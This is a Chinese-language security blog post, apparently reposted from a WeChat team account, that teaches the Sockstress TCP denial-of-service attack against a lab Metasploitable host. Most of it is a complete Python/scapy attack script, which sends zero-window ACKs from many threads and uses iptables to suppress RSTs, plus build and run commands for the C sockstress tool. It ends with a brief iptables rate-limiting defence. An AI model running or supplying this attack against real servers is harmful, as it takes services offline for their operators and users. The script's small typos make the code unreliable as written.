拒绝服务——Sockstress

admin 2022年10月30日19:29:12评论102 views字数 2236阅读7分27秒阅读模式


拒绝服务——Sockstress


前言

本节学习Sockstress

  • 2008年由Jack C.Louis 发现

  • 针对TCP服务的拒绝服务攻击

  • 消耗目标系统资源

  • 与攻击目标建立大量socket链接

  • 完成三次握手,最后的ACK包window大小为0 (客户端不接收数据)

  • 攻击者资源消耗小(CPU、内存、带宽)

  • 异步攻击,单机可拒绝服务高配资源服务器

  • Window 窗口实现的TCP 流控

1、自己尝试的python脚本攻击

目标服务器metasploitable

IP:192.168.1.119

top #查看资源使用详情
netstat | grep ESTABLISHED | wc -l #攻击后,查看系统连接数

攻击者kali

./sockstress.py 192.168.1.119 21 200

Python脚本sockstress.py

#!/usr/bin/python# -*- coding=utf-8 -*-from scapy.all import*from time import sleepimport threadimport randomimport loggingimport osimport signalimport sysimport signallogging.getLogger("scapy.runtime").setLevel(logging.ERROR)if len(sys.argv) != 4: print "用法: ./sockstress.py [IP地址] [端口] [线程数]" print "举例: ../sockstress.py  1.1.1.1 80 20 # 请确定被攻击端口处于开放状态" sys.exit()target = str(sys.argv[1])dstport= int(sys.argv[2])threads = int(sys.argv[3])# 攻击函数def sockstress(target,dstport) : while 0 == 0:  try:   x = random.randint(0,65535)   response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0) #发SYN包   send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'x00x00',verbose=0) #返回ACK包,window=0是重点  except:   pass# 停止攻击函数def shutdown(signal,frame): print "正在修复 iptables 规则" os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP') sys.exit()# 添加iptables规则os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')signal.signal(signal.SIGINT, shutdown)# 多线程攻击print "n攻击正在进行...按 Ctrl+C 停止攻击"for x in range(0,threads): thread.start_new_thread(sockstress, (target,dstport))# 永远执行while 0 == 0: sleep(1)

2、Jack C.Louis的脚本

https://github.com/defuse/sockstress/blob/master/sockstress.c
gcc -Wall -c sockstress.cgcc -pthread -o sockstress sockstress.o./sockstress 192.168.1.119:80 eth0./sockstress 192.168.1.119:80 eth0 -p payloads/http #支持payload#防火墙规则iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 192.168.1.119 -j DROP

3、防御措施

  • 由于建立完整的TCP三步握手,因此使用syn cookie防御无效

  • 根本的防御方法是采用白名单(不实际)

  • 折中对策:限制单位时间内每IP建的TCP连接数,封杀每30秒与 80 端口建立连接超过 10 个的IP地址

iptables -I INPUT-p tcp --dport 80 -m state --state NEW -m recent --setiptables -I INPUT-p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP#以上规则对DDOS攻击无效

结语

直到今天sockstress攻击仍然是一种很有效的DOS攻击方式
需要了解





   红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。其核心团队于2022年转型于信息安全研究院,并为政企提供安全服务与技术支持。


© Honker Security Commando


原文始发于微信公众号(中龙 红客突击队):拒绝服务——Sockstress

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日19:29:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   拒绝服务——Sockstresshttp://cn-sec.com/archives/1380969.html

发表评论

匿名网友 填写信息